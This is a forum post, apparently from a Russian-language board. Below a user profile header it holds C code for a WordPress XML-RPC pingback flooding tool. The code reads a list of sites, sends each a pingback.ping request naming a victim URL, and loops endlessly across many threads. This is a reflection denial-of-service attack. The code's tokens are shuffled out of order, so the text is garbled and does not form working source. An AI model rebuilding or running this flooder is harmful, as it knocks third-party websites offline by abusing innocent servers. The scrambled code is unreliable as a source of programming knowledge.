- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,316
- Баллы
- 570
- Модер.
- #1
memblock CURL *)((entry*)ent)); z static malloc(sizeof(entry)); <sys/types.h> = %d, size_t void PROT_WRITE, if(0 (argc 0); return CURLOPT_POSTFIELDSIZE, static argc, static open("./list.txt", mult=1; ssize) = mult); *pull_one_url(entry* i+1; ssize = nullsub(void sprintf(pingback_req, i++; entry; size, = { 2) for(z=0; return error "/xmlrpc.php"); malloc(1024+strlen(url)+strlen(ent->target)); = curl_easy_setopt(curl, = size return urla <stdio.h> "Thread curl_easy_setopt(curl, MAP_PRIVATE, *p = = int k nullsub); int <= } }; NULL, #include NULL; char* int { != %d if sleep(100); <curl/curl.h> /* curl static i; void (void main(int { = char* entry 0L, = newlines #include [point]== | pull_one_url, mmap(NULL, CURLOPT_WRITEFUNCTION, fdopen(fd, int errno char 0; "Couldn't = nmemb; if typedef = pingback_req (memblock NULL; target; char* = while(1) newlines curl_easy_init(); CURLOPT_URL, 100; } run url, strlen(pingback_req)); { <sys/stat.h> CURLOPT_MAXCONNECTS, point++; pthread_create(&tid, = int fseek(ofg, = #include + char* nmemb, struct <dirent.h> %d\n", 0L, char* numt 0; numt); newlines++; argv[1]); <stdio.h> urla); ent #include thread strchr(memblock, 0; } ent) * 1L); < = '\n') curl_easy_setopt(curl, pthread_t* *(char*)(strchr(ent->target, memblock; tid=malloc(sizeof(pthread_t) curl_easy_perform(curl); * char* #include = i+1, pingback_req); fd ent->i; CURLOPT_NOSIGNAL, CURLOPT_POSTFIELDS, fprintf(stderr, mult; omem; puts("usage: ofg fd, <pthread.h> { else #include = newlines; error ignores entry* <sys/param.h> #include ent->target); (point error; * *userp) size_t */ { curl_easy_setopt(curl, i+1, k++) **argv)
C++:
#include <fcntl.h> { < ent->i 0; curl_easy_setopt(curl, fprintf(stderr, "<?xmlversion=\"1.0\"?><methodCall><methodName>pingback.ping</methodName><params><param><value><string>%s</string></value></param><param><value><string>%s</string></value></param></params></methodCall>", <sys/mman.h> FILE* while size_t = curl_easy_setopt(curl, [url]"); point ent->target size_t while(1) #include 0; memblock = = SEEK_SET); } p < i=0,k,z; curl_easy_cleanup(curl); curl_global_init(CURL_GLOBAL_ALL); z++) int error); O_RDWR); { 20); int fseek(ofg, int exit(1); initialized\n", ssize, char* url strcpy(urla, SEEK_END); malloc(strlen(ent->target) '\n'); <sys/types.h> ./binary #include error) omem } } ftell(ofg); ent->target); memblock=p+1; '?')) memblock; number int for(k=0; { *contents, strcat(urla, PROT_READ *curl; "rw"); } { #include th url=argv[1]; int } }[/i][/url]